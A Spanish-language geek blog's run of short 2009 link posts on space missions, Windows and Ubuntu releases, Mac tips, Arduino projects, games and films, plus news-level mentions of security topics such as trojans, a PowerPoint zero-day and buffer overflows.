  Antes de nada, para ponerte al día sobre la sonda espacial Kepler te aconsejo este podcast de "El Tamiz" donde explican perfectamente las características de esta fantástica misión para buscar planetas extrasolares.

  Pues estas son las primeras fotos tomadas con la super cámara de la Kepler.

  El diario "El mundo" también recogió la noticia en su día.

  14 millones de estrellas en una sola foto, de las cuales 100.000 son candidatas a tener un planeta similar a la Tierra...

  Windows 7 RC1 Disponible

  

  Ya está disponible para su descarga desde la pagina de Microsoft la Release Candidate 1 de Windows 7.

  Permanecerá activa hasta Junio de 2010.

  BookArmy, la red social para lectores de libros

  

  No sabía que existía una red social para libros, lo he visto en LifeHacker. De momento sólo está en inglés pero es una gran idea. No es necesario darse de alta para acceder a los cientos de comentarios y análisis sobre libros que existen en la red social. Muy útil para conocer gente con los mismos gustos y descubrir nuevos libros para leer.

  BookArmy

  ¡Feliz día de Star Wars!

  

   

  Geek total, hoy es el día de Star Wars por una concidencia fonética en la fecha al pronunciarla en inglés:

  May the fourth (4 de mayo)

  May the force … (que la fuerza…)

  … no comments ;)

  visto en:

  Neatorama

  ¿Qué nuevo producto lanzará Amazon este miércoles?

  

  Amazon es el abanderado del ebook con su famoso kindle, pues según todos los rumores este miércoles hay una rueda de prensa donde se cree que lanzará un nuevo modelo de lector de ebooks de gran formato y más delgado.

  Noticia completa en:

  ArsTechnica 

  Y también en:

  Engadget

  Simulador de circuitos con puertas logicas

  

  Simulador Web que nos permite ver de una forma clara las diferentes puertas lógicas que existen, y como funcionan.

  Visto en Microsiervos.

  District 9

  La primera película de Neill Blomkamp  que se estrena el 14 de agosto.

  District 9 en ZonaFandom

  Web Oficial

  Descifrando la Pantalla Azul de la Muerte

  

  Todos la hemos sufrido pero no sabemos el motivo ni el significado de la BSOD, así que en MaximumPC han publicado un fantástico estudio donde nos explican todos los secretos de la BSOD.

  Visto en:

  Guía para descifrar la BSOD, MuyComputer

  Artículo original y más completo en:

  Maximum PC

  El asteroide escurridizo con órbita retrógada …

  

  Este asteroide llamado 1009 HC82 se descubrió el 29 de abril. Tiene 3 kilómetros de ancho y ha dejado a los científicos preocupados porque deberían de haberlo detectado mucho antes. Por características de su extraña órbita retrógada debería de haberse visto en el año 2000 ¿Por qué no lo vimos? …

  Visto en:

  Ciencia Kanija

  Disponible para ver la versión completa y gratuita …

  

  Ya puedes ver este film completo del que ya hablamos en su día en Cyberhades.

  The Hunt for Gollum

  La banda sonora de Dawn of War II disponible de …

  

  Todo un detalle, 20 pistas de música épica del juego Dawn Of War II (Warhammer) que puedes descargarte gratuitamente desde:

  http://store.steampowered.com/agecheck/app/15620/

  Otro top 10 de juegos flash

  

  Nuestro favorito, el DOOM versión navegador.

  No te pierdas la lista de los juegos en:

  PCPro

  Más juegos en CyberHades.

  Radiografías a videoconsolas

  

  (Radiografía de una PS3)

  Seguro que alguna vez te has preguntado cómo son por dentro algunas de nuestras consolas más conocidas. Si aún no has abierto alguna, aquí tienes varias radiografías:

  Technabob

  Manhattan en 2009 y en 1609

  

  Recreación de la isla de Manhattan tal y como la vio Henry Hudson hace 400 años comparada con la vista actual, impresionante.

  Enlace original:

  National Geographic

  Visto en Neatorama.

  El efecto Lenz

   

  Alucinante, visto en Microsiervos.

  El efecto Lenz.

  ¿Controlador sensor de movimiento (estilo Wiimote) …

  

  Es sólo un rumor pero parece que este mando estilo Wiimote para la PS3 podría ser presentado durante el E3.  Hace unos meses Sony patentó un diseño para un nuevo mando usando reconocimiento de movimiento en 3D.

  El origen de este último rumor viene desde Kombo, donde se comenta que empresas ajenas Sony podrían estar desarrollando ya funcionalidades con este nuevo mando para los futuros juegos de la PS3.

  Esperaremos impacientes.

  El Mac Book Air apesta ...

  Madre mía, hay estar realmente como una cabra para hacer esto …

  Mac Book Air, entre 1.600 y 2.200 €

  BGInfo, muestra datos del ordenador en el …

  

  Windows

  Esto no es nada nuevo, pero como alguién hace poco me preguntó la forma de hacerlo y no me acordaba, lo voy a postear en el blog.

  BGInfo es una utilidad para Windows donde puedes configurar una series de parámetros para que luego aparezcan como información en el escritorio. Utilidad esencial para administradores de sistemas, donde por ejemplo podrías ver la dirección IP, la memoria RAM, versión de Windows, y un largo etc ...

  El objeto más lejano del Universo

  

  Se encuentra a 13.100 años luz de la Tierra, explotó sólo a 640 millones de años después del Big Bang y es un estallidos de Rayos Gamma (GRB).

  Su nombre GRB 090423 y se encuentra localizado en la constelación de Leo.

  Y el artículo completo en la fantástica Ciencia Kanija.

  Unboxing del Surface

  Si aun no conoces la pantalla multitactil de Microsoft date una vuelta por los siguientes enlaces:

  Wikipedia Microsoft

  Impresiones de "Caprica" desde ZonaFandom

  

  Ya ha salido a la venta el DVD con el episodio piloto de Caprica.

  En ZonaFandom hacen una review excelente pero OJO QUE HAY ESPOILERS COMO PANES;)

  Ya os comentaré mi impresión cuando la vea.

  Cómo desinstalar programas desde el modo seguro de …

  

  Inexplicablemente, cuando arrancas en modo seguro (pulsando F8 al arrancar) de Windows no puedes desinstalar ningún programa, cuando eso podría ayudarte a solucionar varios de los problemas que tengas en el equipo. Si intentas hacerlo recibes el mensaje "El Windows Installer Service no se ha iniciado", si lo iniciamos tendremos el error "Error 1084: este servicio no puede arrancar en modo seguro".

  Pues en 4sysops nos explican cómo podemos hacerlo.

  Service Pack 2 para Office 2007 disponible

  

  Desde luego prometen un aumento en la producitividad y la velocidad. Solucionará cientos de bugs, añadirá el poder cargar ficheros con el formato OpenDocument, y un listado enorme que puedes consultar completo en este fichero excel.

  Para descargarte el Service Pack:

  Microsoft Office 2007 Service Pack 2

  Visto en:

  LifeHacker

  Windows 7 incluirá un "Modo Windows XP"

  

  Parece que Microsoft quiere que la gente acepte al nuevo Windows 7 y la mejor manera es dar la opción de poder convertirlo en un XP usando este modo. Pero no creas que es sólo estético, realmente este modo es una copia virtualizada de un Windows XP con Service Pack 3 (¿hay algo más compatible?) que se ejecuta bajo el programa Virtual PC que está perfectamente integrado y es totalmente amigable para el usuario no avanzado.

  MAC: Copias de Seguridad (II)

  Veremos en este post como realizar y restaurar copias de seguridad en Mac de forma manual. Para ello hemos de seguir los siguientes pasos:

  Hacer una Copia de Seguridad:

  -Haz Login como usuario Root. Ayuda aqui. -Copia la Carpeta Usuarios del disco de arranque donde queramos hacer la copia de seguridad. -Para recuperar los datos posteriormente es necesario recordar exactamente como hemos escrito los nombres cortos de los usuarios.

  El "Air Force One" crea la alarma en Nueva York

  

  El avión de reserva (o de backup como indican en la noticia original) del Air Force One ha causado un revuelo e incluso la evacuación de algunos edificios en la ciudad de Nueva York. La causa ha sido el vuelo bajo que ha realizado y la espectacularidad de ir escoltado por dos F-16 a cada lado. Ha sido una operación para tomar fotografías que no había sido avisada al público.

  Guante Pac-Man para el horno

  

  Para el cocinero geek …

  La Spirit vuelve a caminar

  

  En SondasEspaciales nos comentan la magnífica noticia de la vuelta a la acción de la sonda Spirit, después de una serie de problemas debidos a la vejez de la sonda (está duranto 20 veces lo previsto). También hacen una recopilación de las últimas noticias sobre la misma.

  (Microsiervos) Evolución de la Interfaz Gráfica …

  

  No os perdáis este articulo, donde se muestra la evolución de la Interfaz Gráfica desde 1981 a 2009:

  WebDesignerDepot

  Visto en:

  Microsiervos

  Ganadores de los Premios Nebula 2008

  

  Pues estos son los ganadores de la edición 2008 de los Premios Nebula:

  Mejor Novela: “The Spacetime Pool” de Catherine Asaro Mejor Novela Corta: “Pride and Prometheus” de  John Kessel

  Mejor Relato Largo: “The Merchant and the Alchemist´s Gate” de Ted Chiang Mejor Relato Corto: “Trophy Wives” de Nina Kiriki Hoffman

  Mejor Guión: WALL-E

  Si quieres saber más sobre el resto de premiados:

  Boingboing

  Página principal de los premios:

  Top 10 descargas para Ubuntu

  

  Linux

  Como nos comentó nuestro querido tuxotron aquí, ya está disponible la versión 9.04 de Linux Ubuntu.

  Desde LifeHacker nos recomiendan estas 10 estupendas descargas para sacar más partido a esta fantástica distribución Linux. Voy a hacer una pequeña descripción pero no olvidéis pasaros por el enlace original (al final de post) para más información:

  10. Ubuntu Tweak: te permite cambiar la apariencia de tu Ubuntu y modificar algunas características.

  CyberHades está en Facebook

  

  Pues eso, publicaremos y haremos algunos posts especiales dentro de la red social Facebook.

  Vamos hazte fan y de esta forma conoceremos mejor a nuestros amigos geeks ;)

  CyberHades en FaceBook

  "Sleep Talk", o la tarjeta de red autónoma

  

  Este proyecto de la Universidad de San Diego junto a un equipo de investigadores de Microsoft, permite que un ordenador en modo de ahorro de energía pueda continuar teniendo actividad y operatividad (básica) en las conexiones de red.

  Por ejemplo, cuando el ordenador entra en modo de ahorro de energía, la tarjeta (llamada Somniloquy) se mantiene activa con cualquier actividad de red que necesitemos.  Podría mantener las descargas y subidas torrents, y mantener el equipo presente en una red local. Si la tarjeta detecta alguna operación que requiera actividad de la CPU, este la despierta y transfiere la información necesaria que haya descargado al equipo.

  (Humor) Comiendo el cheeto más grande sobre un …

  World’s Largest Cheeto and the Optimus Maximus from Gizmodo on Vimeo.

  Esto supera los límites de lo absurdo … pero tiene su gracia.

  Pues nada, el video muestra a un tio que se come el cheeto más grande del mundo sobre el teclado más caro del mundo (Optimus).

  ¿A que nunca habéis comido nada sobre el teclado? ;)

  Visto en:

  GeeksAreSexy

  Las fotos más espectaculares de Saturno

   

  Creo que son las fotos más espectaculares del Espacio que he visto en mi vida, tomadas por la sonda Cassini.

  No te las pierdas:

  http://www.boston.com/bigpicture/2009/04/cassinis_continued_mission.html

  Todas son a lucinantes, pero mi favorita es la que he puesto arriba del post, la número 15, donde ser ven los anillos de Saturno y de fondo Titán y Epimetheus.

  100 cursos y tutoriales gratis para …

  

  Como el título dice, aquí téneis un enlace dónde podréis encontrar 100 tutotiales y cursos gratuitos sobre el desarrollo de aplicaciones para el archiconocido iPhone.

  Happy hacking!!

  Visto en Reddit

  MAC: Copias de Seguridad (I)

  

  Existen diferentes formas de realizar copias de seguridad en Mac OS X, siendo la mas novedosa la aplicación TIME MACHINE, introducida en Leopard.

  Aunque no uses Mac te recomendamos un vistazo al sistema de copias automatizado de TIME MACHINE, en el que por ejemplo puedes ver el contenido de las carpetas a lo largo del tiempo y recuperar los documentos que en su dia existian en dicha carpeta.

  Ubuntu 9.04

  

  Ya podéis descargaros la nueva versión de Ubuntu 9.04 (Jaunty Jackalope).

  Sitio oficial: http://releases.ubuntu.com/releases/jaunty/

  Mirror en España: http://ftp.caliu.cat/pub/distribucions/ubuntu/releases/9.04/

  Estructuras de datos en Java

  

  Aquí pódeis encontrar un libro muy interesante sobre estructuras de datos, su explicación teórica, aplicabilidad, ejemplos y su implementación en Java. Muy completo y gratuito.

  Hacking con el Nokia 1100

  

  Ademas de ser uno de los moviles mas vendidos de la historia (200 millones de unidades vendidas) y, uno de los Nokias mas simples, a unas pocas unidades de este telefono les han encontrado otra utilidad.

  Un número limitado de unidades posee una vulneravilidad mediante la cual se pueden recibir mensajes SMS destinados a otros números de telefono, lo que habre una brecha de seguridad en muchos sistemas de autentificación (por ejemplo los SMS enviados por la banca para confirmar operaciones).

  Sin duda alguna que es para quejarse

  En esta entrada de Reddit, alguien se quejaba amargamente de la forma de evaluación de la universidad donde estudia y viendo una de las preguntas de examen y su respuesta, no es para menos.

  

  MAC: Atajos de teclado

  

  Lista de atajos para Mac OS X (Lista Completa de Apple)

  Las camisetas de Sheldon

  

  Si te gusta The Big Bang Theory sabrás perfectamente quién es Sheldon. También te habrás dado cuenta de la camisetas espectaculares que saca en cada capítulo.

  Pues en esta web tienes una recopilación de todas (también alguna de Leonard):

  Sheldonshirts

  Visto en:

  CodigoGeek

  de paso os comentamos algunas web donde venden camisetas geniales:

  ThinkerClothing

  Kamisetas

  ThinkGeek

  Si conoces algún sitio más no dudes en comentarlo.

  PD: acabo de ver que también en Microsiervos ya lo comentaron hace tiempo.

  Shell-fu

  

  Shell-fu es una web dónde podrás encontrar todo tipo de trucos para la línea de comandos. Ya en su día hablamos aquí de otra web parecida.

  Análisis y defensa de vulneabilidades en código …

  Aquí os dejo un vídeo donde hablan del problema de la distribución de parches, especialmente en distintas zonas horarias, de como aprovecharse de esta diferencia de tiempo y de como protegerse.

  Transformers 2

  Uf, vaya curvas y vaya efectos especiales ;)

  Transformers 2

  La evolución de los x86

   

  Excelente artículo visto en MuyComputer (resumido en español) y fuente original de MaximumPC (más completo en inglés), donde reapasan los 31 años de historia de las CPUs basados en el Intel x86.

  Cuando un bot recibe la orden de inutilizar …

  

  Fantástico artículo (en inglés que hemos traducido aquí) de los chicos de s21Sec donde han analizado los siguientes troyanos, InfoStealer, Zeus/Zbot y Nethell/Ambler.

  ¿Cuáles son los motivos para que un bot inutilice el sistema operativo y deje el equipo fuera de conexión?. Pues por ejemplo para desaparecer y no dejar rastro haciendo más complicado un análisis posterior. Otro motivo, sobre todo para los troyanos que intentan robar cuentas de banco, sería dejar el equipo de la víctima inutilzado para ganar tiempo y de este modo hacer las transferencias o las operaciones que necesiten mientras la víctima está desconectada de Internet.

  El ordenador de la Spirit se reinicia sin motivo

  

  El 11 y 12 de abril el ordenador de la Spirit se reinició en dos ocasiones sin motivo inicial aparente. Según John Callas, la Spirit tiene las baterías cargada, los paneles solares generan energía y las temperaturas están en los límites aceptables, por lo que ninguno de estos factores parece ser el motivo del reinicio.

  La sonda se encuentra en una posición estable (donde ella misma se cuida) que llaman "Automodo"

  Arduino: Escribir en una Memoria USB

  

  Utilizando el VDIP1 viniculum chip (un USB Host que cuesta unos 18 €) podremos escribir datos en una Memoria USB con Arduino.

  Mediante el uso de comandos DOS podremos navegar por los directorios y crear o eliminar archivos.

  Codigo y explicación con mas detalle en arduino.cc.

  Todos los comandos disponibles Aqui.

  Especificaciones técnicas del VDIP1.

  Marte, en el Tamiz

  

  Genial serie de cinco capítulos dedicados al planeta Marte de parte nuestra web de ciencia favorita, El Tamiz.

  No os la perdáis.

  Marte (I): Marte el Planeta Rojo

  Marte (II): Geografía marciana

  Marte (III): Ideas generales y datos de las primeras misiones

  Marte (IV): Indicios de vida pasada o presente en Marte

  Marte (V): Colonización y Terraformación del Planeta Rojo

  Frightened Rabbit, grupazo

  Espera, apaga la luz, sube el volumen de los altavoces y escucha hasta el final esta canción, luego ya me dirás:

  Keep Yourself Warm

   

   Grupazo, ¿oido Grooveorfeo? ;)

  Frightened Rabbit, ¡viva Escocia!.

   

  Head Rolls Off

   

  Bright Pink Bookmark

  … más en Youtube.

  Intros de Series de los 80 con Star Wars

  Pocket Drive Arcade y Pocket Engine Arcade

  

  Son dos proyectos (por pocket_lucho) para crear dos máquinas recreativas pequeñas basándose en dos videoconsolas míticas:

  Sega Megadrive y la PC-Engine

  Perfectamente explicado paso a paso (en español) y con un resultado realmente espectacular, que puedes ver aquí:

  Pocket Drive Arcade

  Pocket Engine Arcade

  Realmente alucinante.

  Visto en:

  ElOtroLado

  Los 25 Proyectos Open Source más prometedores

   

  Excelente artículo visto en MuyComputer donde hacen un repaso a los 25 proyectos más importantes en desarrollo para este 2009.

  Podrás ver lo último en Navegadores y Sistemas Operativos, Plataformas móviles, Lenguajes de Programación ,Aplicaciones de trabajo, Software y Herramientas Administrativas, Herramientas de gestión y creación de contenidos, etc.

  Parte I

  Parte II

  Parte III

  No te lo pierdas.

  Pleo vs ComBot

  Pobre Pleo XD

  Visto en:

  Un informático en el lado del mal

  MAC: Instalar y desinstalar aplicaciones

  

  Guía para Switchers de Appleweblog que nos muestra como se instalan y desinstalan las aplicaciones bajo Mac OS X.

  Interesante para aquellos que no conozcan el mundo Mac.

  La máquina que cambió el mundo

  La máquina que cambió el mundo es un impresionante documental sobre la historio de los ordenadores desde sus comienzos hasta la actualidad. El documental está dividido en 5 partes.

  * La máquina que cambió el mundo

  * Inventando el futuro

  * El ordenador de papel

  * La máquina pensante

  Nintendo WiiMote Motion Plus en Junio (en EEUU)

   

  Y por 19 dólares, muy buen precio.

  Visto en:

  Engadget

  Más sobre Motion Plus WiiMote en:

  VidaExtra

  Google libera el código de su programa instalador

  

  Windows

  Para distribuir e instalar parches y actualizaciones de sus programas, Google utiliza Google Updater, un  software que funciona en background, como por ejemplo para actualzar Chrome, Google Earth y otras aplicaciones.

  Google ha liberado el código fuente de esta herramienta (nombre en código Omaha), bajo licencia Apache Open Software.

  Esta liberación del código es especialmente interesante, ya que distribuir actualizaciones al nivel que lo hace Google es muy crítico. Por lo que no viene mal analizar el código para poder crear nuestra propia distribución de parches y actualizaciones.

  Entre copa y copa, una tapita de bash

  

  • Quién es el Bash?

  • El Bash es el hijo mas nuevo de la familia Shell.

  • Espera ahí! Quieres volverme loco? Tenía una duda y ahora me dejas con dos!

  • No, loco ya lo eras antes de aparecer por aqui. Desde que decidiste usar aquél sistema operativo con el cual tienes que reiniciar tu máquina unas diez veces por dia y no tienes dominio ninguno sobre lo que está pasando en el computador. Pero deja eso de lado, te voy a explicar lo que es el Shell y los componentes de su familia y al final de la explicación me dirás: “Mi Dios del Shell! Porque no opté antes por Linux?”.

    Construye tu propia distribución de linux

    

    En PC Plus ofrecen un artículo muy interesante de como construir tu propia distribución de Linux. No sólo te permita personalizarla, si no que tambien es capaz de crearte una ISO para usarla como LiveCD o desde tu USB drive. El software que usan se llama Revisor y parece ser que está pensado para Fedora. Tiene una pinta muy buena y parece muy sencillo de usar.

    Si eres usuario de SuSE pues también estás de suerte, ya lago parecdio sacaron los de Novel llamado SUSE Studio.

    Top 10 Telescopios de todos los tiempos

    

    En honor al 400 aniversario de la invención (volvemos a repetir, que por un Catalán) del Telescopio, en PopSci repasan los 1o mejores situados en la Tierra y en el Espacio:

    PopSci - Top 10 Telescopes Of All Time 

    Como calibrar tu televisor de LCD

    

    Excelente tutorial que debes leer si tienes una televisión de LCD, desde los brillos hasta la ubicación te ayudarán a optimizar al máximo tu televisor.

    Este es el enlace con el tutorial.

    Visto en MuyComputer

    GnuWin32

    

    Para aquellos usuarios de MS Windows que de alguna manera echen de menos los comandos básico de los sistemas *NIX, en sourceforge tenéis un proyecto llamado GnuWin donde podréis encontrar dichos comandos en su versión para Windows 95 / ME  / 98 / 2000 / NT / XP / 2003 / Vista / 2008.

    Guía rápida para viajeros en el tiempo

    

    Seguro que alguna vez haz pensado que podrías cambiar el futuro en caso de viajar al pasado, o que con tus conocimientos actuales podrías echar una mano a esas pobres gentes que no conocen muchos de nuestros avances en tecnología, la medicina, etc …

    Bueno pues supongamos que ya puedes viajar en el tiempo ;), no te olvides de esta hoja rápida de consulta. Es una chuleta perfecta para recordar cómo se vuela, electromagnetismo, penicilina, etc …

    Ganadores de los "Videos de Linux"

     

    Video Ganador del concurso

    La Linux Foundation creó un concurso de video para promocionar Linux al estilo “Soy un Mac/PC”, llamado “We’re Linux”.

    Visto en MuyComputer

    Aquí los siete mejores.

    Preparar un ordenador para niños con Qimo

    

    ¿Necesitas configurar un ordenador para que lo puedan usar los niños sin muchas dificultades?, pues Qimo es la solución. Es una distribución Linux Ubuntu que puedes instalar o arrancar (live) desde un CD o un pendrive. En un ordenador muy simple con un procesador a 400Mhz, 256 Mb de RAM y 6Gb de disco duro funciona perfectamente.

    Incluye programas que están organizados en iconos grandes fáciles de usar. Entre estos programas puedes encontrar TuxPaint, eToys, GCompris, etc …

    Los mejores Huevos de Pascua y algunas otras …

    

    En esta época de Huevos de Pascua, en ComputerWorld nos ofrecen unos muy especiales. Sorpresas ocultas en programas y juegos que se activan con combinaciones de teclas, comandos u otros métodos de entrada (mandos).

    Todos tienen su video y una explicación de cómo activarlos.

    Abajo están los cinco primeros (son diez) pero no te pierdas el resto:

     

    Star Wars en OpenOffice:

    Video

    Activación:

    1. Abre la hoja de cálculo en el OpenOffice
    2. Ve a cualquier celda
    3. Escribe: =game() Responderá "say what?"
    4. Escribe: =GAME("StarWars")
    5. Pulsa la tecla enter -- se abrirá la pantalla inicial del juego 
    6. Elige tu icono -- un mensaje aparecerá en alemán 
    7. Elige tu nivel
    8. Pulsa "start"
     

    Pez Wanda (en Ubuntu)

    Arkham Horror, juego de mesa sobre los Mitos de …

    

    Los amigos de Zona Fandom han publicado en su blog una entrada sobre un juego de mesa basado en los Mitos de Cthulhu de H.P. Lovecraft.

    El juego se llama Arkham Horror.

    Nos os perdáis el análisis completo del juego:

    ZonaFandom

    PD: ya estoy buscando donde comprarlo para echar unas partidas este verano con mis amigos Mac ;)

    Drawminos, para crear circuitos de dominó

    

    Si quieres construir tu propio circuito de dominó, puedes usar esta aplicación online desde:

    Drawminos.com

    No es muy espectacular pero sí que está bien el efecto del movimiento de las piezas.

    Tiene un enlace con algunos circuitos favoritos.

    Visto en:

    TheFireWire

    PD: atento a

    ¿Qué libros de NO-Programación deberían de leer …

     

    Execelente entrada del fantástico blog StackOverflow donde se ha creado una enorme lista de libros muy pero que muy interesantes.

    Iré viendo algunos y pondré una selección en cuanto los vea todos (por supuesto se aceptan sugerencias).

    Desde el Criptonomicón, El Juego de Ender hasta otros como el enorme  The Mythical Man-Month .

    Puedes ver toda la lista aquí:

    StackOverFlow

    Top 10 Virus de Ordenador

    

    Visto en PopSci.com, aprovechando la desinformación del virus Conflicker, han realizado un top 10 de los virus más conocidos de la historia.

    Echa un vistazo porque seguro que algunos no los conocías.

    Este sería el ranking:

    10. Creeper: creado en 1971, es posiblemente el primer virus de ordenador. Infectaba a nuestros queridos PDP-11 que estaban conectados a ARPANET. Una vez infectado, aparecía el mensaje "I’m the creeper, catch me if you can!”. Se autoreplicaba pero no era demasiado peligroso.

    Ubicación de los últimos Terremotos

    

    De actualidad por terremoto sucedido en Italia. En el grafico anterior podemos ver los terremotos sucedidos en el mundo entre 1963 y 1998. Y en la siguiente web podemos ver donde han sucedido los terremotos recientes

    Visto en: Alt1040.

    Formula 1: Los difusores de Brawn GP

    

    La FIA se tiene que pronunciar el proximo 14 de Abril sobre su legalidad, pero por ahora tres equipos los llevan con muy buenos resultados (Brawn, Williams y Toyota).

    Funcionan aumentando el efecto suelo del coche y aqui es donde lo atacan sus detractores ya que la FIA había intentado este año reducir el efecto suelo en los monoplazas (con él se consigue una mayor velocidad de paso por curva).

    Desensamblando completamente una Nintendo DSi

    

    En este enlace podrás encontrar un total desmontaje de la nueva Nintendo DSi.

    Visto en:

    HackADay

    United Colors of Benetton

    

    Interesante recopilación de 70 fotos de campañas publicitarias de Benetton.

    Juegos clásicos de PC para jugar online

    

    Son unos 326 a día de hoy, como por ejemplo Loom, Indiana Jones, Lemmings, etc …

    No puedes perdértelo.

    Para jugar:

    http://www.classicdosgames.com/online.php

    Visto en:

    Soliloquios

    Y ya para los más geeks del lugar, puedes encontrar el código fuente de muchos de estos juegos en:

    http://www.classicdosgames.com/misc/source.html

    Por si tienes un ratito y quieres analizarlos ;)

    PUMA: Segway biplaza

    

    Segway y la G.M. nos presentan el prototipo PUMA (Personal Urban Mobility Accessibility), que trae dos asientos y tiene una autonomia de 56 km y una velocidad máxima, también, de 56 km/h.

    Según cuentán, podrá comunicarse con otros vehículos mediante un sistema V2V para evitar colisiones, y hasta detecta posibles viandantes en su trayectoria.

    Visto en: Engadget Gizmondo

    Los códigos secretos de Fringe

    

    Los productores de Fringe han admitido que han incluido varios de estos códigos secretos  y los han insertado en cada uno de los capítulos.

    Por ejemplo el código insertado en los títulos usando gráficos de objetos y un punto amarillo a un lado, o el misteriosos observador que aparece en algunos capítulos, etc …

    Puedes ver algunos de estos misterios en: ArsTechnica

    Parece que el código de los gráficos sido descifrado por Julian Sanchez, puedes verlo aquí.

    El robot hexápodo más terrorífico y chulo nunca …

    Se llama A-Pod, 6 patas, abdomen, mandíbulas y cabeza.

    Alucinante.

    Visto en:

    GeeksAreSexy

    Vulnerabilidad sin parche en Power Point …

    

    Microsoft confirma una vulnerabilidad 0day en su software de presentaciones, Microsoft Power Point Presentation, aunque le quita importancia diciendo que el posible ataque es muy limitiado. El equipo de seguridad de Microsoft, recomienda, mientras no haya parche, abrir sólo ficheros de fuentes de confianza o anima a la utilización del nuevo formato XML en Power Point 2007 que no se encuentra afectado. Más información aquí y aquí.

    Arduino: Lector RFID con conexión Ethernet

    

    Interesante proyecto que lee RFID y los añade a una base de datos en MySQL, utilizando la placa Arduino, la Ethernet Shield y un lector RFID.

    Fotos del proyecto.

    Visto en: Arduino.cc

    Administración y distribución remota de programas

    

    Sólo tienes que seleccionar unos ficheros MSI, MSU o EXE y podrás instalarlos de forma remota en un ordenador o en varios. Con Admin Arsenal podrás hacer instalaciones desatendidas, desinstalar o reparar programas, incluso es posible reiniciar el ordenador después de la instalación si es necesario.

    Una cosa que debes tener en cuenta antes de hacer la distribución es tener todos tus equipos en línea. De todas formas tienes la opción Wake On Lan para arrancar tus equipos vía remota.

    Portátil Commodore 64

    

    Mr Benheck ha colocado un Commodore 64 dentro de la carcasa de un portátil. Algunos datos, ha usado la placa base de un C64C, la fuente de alimentación de una GameCube, y un 1541-III DRV que emula una disquetera usando una tarjeta SD formateada con FAT32.

    Alucinante.

    Visto en:

    Engadget

    PD: Dedicado a mis dos amigos NOP y tuxotron, fans incondicionales del Commodore.

    Cómo hacer que GIMP se parezca al Photoshop

    

    Windows, Mac y Linux

    GIMP es una herramienta gratuita de retoque fotográfico fantástica, pero si eres usuario de Photoshop puedes adaptar los menús usando esta aplicación gratuita GIMPShop. 

    GIMPShop

    Y para adaptarlo todavía más, la web de SmashingMagazine tiene un artículo para todavía perfeccionarlo más aún:

    8 Handy Tweaks to make gimp replace photoshop

    Visto en:

    LifeHacker

    Schweppes "Burst"

    Filmado a 10.000 fotogramas por segundo, comercial de la empresa Scheweppes.

    Visto en:

    Geeks are Sexy

    Portable Ubuntu

    Anteriormente hemos hablado aquí sobre el sitio aplicaciones portables. Esas que podemos llevar con nosotros en nuestro lápiz USB, teléfono móvil, cualquier dispositivo con memoria flash en definitiva. Esta vez os dejo un enlace desde el que podéis descargaros Portable Ubuntu. Es exactamente lo que estás pensando. Es la distribución de linux más usada en el escritorio hoy en día, en forma de aplicación Windows. Ahora no tienes excusa de darle una oportunidad a este magnífico sistema operativo. Sin instalación o nuevas particiones, sin reiniciar tu ordenador con una live cd. Ubuntu a golpe de ratón.

    Lanzadera Espacial hecha con piezas de Lego

     

    Exactamente 65.000 piezas, 1.509 horas y casi 3 metros de altura. Si miras la foto, la primera impresión parece totalmente real. Construida por fans de Lego en Viena, tiene incluso una simulación de lanzamiento:

    Visto en:

    dvice

    Google revela el diseño de sus servidores

    

    Google no compra servidores a Dell, HP, IBM o Sun. Ellos montan los suyos propios. Por primera vez han revelado el hardware que llevan estos servidores, ha sido en una conferencia sobre la eficiencia de los datos.

    Una de las grandes sorpresas ha sido que cada servidor lleva una batería propia de 12 voltios, por si hubiera un corte en el suministro general. Genial idea, más barato que un SAI. Una fuente de alimentación normal tiene 5v y 12v, pero Google sólo utiliza 12v, las conversiones las realizan en la misma placa base del servidor. Esto supone sólo un incremento de 1$o 2$ sobre el coste final, pero la fuente de alimentación es mucho más barata. Lo increible es que esto ha sido un gran secreto guardado por Google durante años. También usan esta batería en los elementos de red.

    Anatomía de un sackboy (LittleBigPlanet)

    

     

    Esto va dedicado a los fans del fantástico juego “LittleBigPlanet” para la PS3.

    Anatomía de un “sackboy”.

    Visto en:

    Kotaku

    Top 10 fotos astronómicas

    

    Increibles fotos, pero personalmente echo de menos alguna de Marte o algunas de Titán, Europa, Io, etc …

    Voy a preparar nuestro top 10.

    Visto en:

    Microsiervos

    Noticia original:

    http://www.msnbc.msn.com/id/29894281/displaymode/1247/

    10 Científicos locos de la vida real

    

    Esta lista se basa más bien en los métodos pocos ortodoxos con los cuales realizaban sus experimentos. Cada uno a pesar de su fama como científico loco, aportaron a la Ciencia su granito de arena y están reconocidos dentro del mundo científico por algunos de sus descubrimientos:

    1. Johann Conrad Dippel (1673 - 1734): nacido en Alemania, estudió Teología, Filosofía y Alquimia en la Universidad de Giessen. Especialmente interesado en crear Vida Artificial. Por otro lado, se ganó la reputación de ladrón de cuerpos, los cuales robaba para intentar realizar "transplantes de almas".

    Video tutoriales sobre seguridad

    

    Continuando con el post anterior, aquí os dejo un enlace donde podréis encontrar más vídeo tutoriales sobre diferentes temas de seguridad, como son las botnets, rootkits, proxies, etc. Sin duda un recurso muy práctico, especialmente si queremos explicar a alguien que es una botnet o algún otro concepto. Cómo dice el refrán, una imagen vale más que mil palabras.

    ¿Cómo funciona un desbordamiento de memoria?

    

    Con la incertidumbre que está levantando Conficker, en wired.com han puesto a disposición de los usuarios una pequeña animación interactiva en flash donde nos enseñan el funcionanmiento de un desbordamiento de memoria y sus posibles consecuencias. Esta es la técnica que usa el gusano para propagarse e instalarse en las máquinas que no hayan sido parcheadas.

    Black Hat USA 2008

    

    Ya están a disposición para su libre descarga los ficheros de video y audio de la pasada Black Hat que se celebro en EEUU. Y para aquellos que quieran asistir en persona a este evento, informaros que ya se ha abierto el plazo de inscripción para la Black Hat 2009 en Europa

    ASIMO controlado por la mente

    

    El Honda Research Institute han logrado el control del robot ASIMO mediante un sensor que mide la actividad cerebral. Honda asegura que la precisión es de un 90% y ‘sin un entrenamiento especial’.

    

    Mas información y videos en: Engadget Akihabaranews

    Torre Eiffel: 120 años

    

    La Torre Eiffel celebra hoy, día 31 de marzo, su 120 aniversario.

    Datos curiosos: -El monumento obra del ingeniero Gustave Eiffel será ahora repintado, por décimo novena vez, una tarea que exigirá casi un año de trabajo a 25 pintores.

    -El ingeniero francés Gustave Eiffel presentó primero su proyecto de torre a los responsables del Ayuntamiento de Barcelona, para que se construyera en esta ciudad con motivo de la Exposición Universal de Barcelona (1888).

    Mini Servidor Ecológico (desde SoyGeek)

    

